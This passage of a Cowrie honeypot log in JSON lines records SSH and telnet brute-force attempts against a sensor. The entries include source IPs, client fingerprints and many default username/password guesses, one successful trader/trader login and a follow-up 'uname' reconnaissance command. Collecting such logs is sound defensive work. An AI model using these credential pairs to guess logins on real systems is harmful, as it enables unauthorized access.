{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:10.629986Z","src_ip":"176.65.132.129","session":"1cafd57e9321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:10.877407Z","src_ip":"176.65.132.129","session":"1cafd57e9321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56382,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b85ebb009a","protocol":"telnet","message":"New connection: 38.60.198.128:56382 (159.203.135.109:23) [session: f6b85ebb009a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:10.886882Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:11.962023Z","src_ip":"176.65.132.129","session":"1cafd57e9321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59478,"dst_ip":"10.17.0.5","dst_port":22,"session":"233dd75a9274","protocol":"ssh","message":"New connection: 176.65.132.129:59478 (10.17.0.5:22) [session: 233dd75a9274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:13.912423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:13.917397Z","src_ip":"176.65.132.129","session":"233dd75a9274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:13.999287Z","src_ip":"176.65.132.129","session":"233dd75a9274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:14.458287Z","src_ip":"176.65.132.129","session":"233dd75a9274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:15.542925Z","src_ip":"176.65.132.129","session":"233dd75a9274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.00810766220093,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:16.749586Z","src_ip":"38.60.198.128","session":"79a55c887aa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57208,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72a8939d3b5","protocol":"ssh","message":"New connection: 176.65.132.129:57208 (10.17.0.5:22) [session: b72a8939d3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:17.507250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:17.511716Z","src_ip":"176.65.132.129","session":"b72a8939d3b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:17.593470Z","src_ip":"176.65.132.129","session":"b72a8939d3b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:17.838167Z","src_ip":"176.65.132.129","session":"b72a8939d3b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33296,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2a8781dff1b","protocol":"telnet","message":"New connection: 174.138.46.234:33296 (159.203.135.109:23) [session: d2a8781dff1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:18.889833Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:18.924766Z","src_ip":"176.65.132.129","session":"b72a8939d3b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.280322790145874,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.146158Z","src_ip":"192.211.53.160","session":"01014166e4ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":47662,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb20bb678932","protocol":"ssh","message":"New connection: 95.215.8.165:47662 (10.17.0.5:22) [session: fb20bb678932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.275529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.280555Z","src_ip":"95.215.8.165","session":"fb20bb678932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.378842Z","src_ip":"95.215.8.165","session":"fb20bb678932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"110110","message":"login attempt [admin/110110] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.758784Z","src_ip":"95.215.8.165","session":"fb20bb678932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57224,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7157fb6858e","protocol":"ssh","message":"New connection: 176.65.132.129:57224 (10.17.0.5:22) [session: c7157fb6858e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.853260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.858271Z","src_ip":"176.65.132.129","session":"c7157fb6858e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:20.940499Z","src_ip":"176.65.132.129","session":"c7157fb6858e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:21.187828Z","src_ip":"176.65.132.129","session":"c7157fb6858e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.79056477546692,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:21.463110Z","src_ip":"38.60.198.128","session":"a7e211bf19a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:21.844040Z","src_ip":"95.215.8.165","session":"fb20bb678932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:22.273156Z","src_ip":"176.65.132.129","session":"c7157fb6858e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57252,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb6ca8e6055","protocol":"ssh","message":"New connection: 176.65.132.129:57252 (10.17.0.5:22) [session: dcb6ca8e6055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:24.422276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:24.426800Z","src_ip":"176.65.132.129","session":"dcb6ca8e6055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:24.520480Z","src_ip":"176.65.132.129","session":"dcb6ca8e6055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:24.767569Z","src_ip":"176.65.132.129","session":"dcb6ca8e6055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:25.853683Z","src_ip":"176.65.132.129","session":"dcb6ca8e6055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57704,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbeb2ba6fece","protocol":"ssh","message":"New connection: 176.65.132.129:57704 (10.17.0.5:22) [session: cbeb2ba6fece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:27.751287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:27.756748Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:27.839649Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:28.085696Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:28.294007Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:28.296956Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:28.381262Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:28.386498Z","src_ip":"176.65.132.129","session":"cbeb2ba6fece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.627716302871704,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:29.275543Z","src_ip":"192.211.53.160","session":"953ae2d6fe32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.969815731048584,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:30.598838Z","src_ip":"192.211.53.160","session":"cc45a89fc0ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57710,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17ba52f1510","protocol":"ssh","message":"New connection: 176.65.132.129:57710 (10.17.0.5:22) [session: c17ba52f1510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:31.063245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:31.068244Z","src_ip":"176.65.132.129","session":"c17ba52f1510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"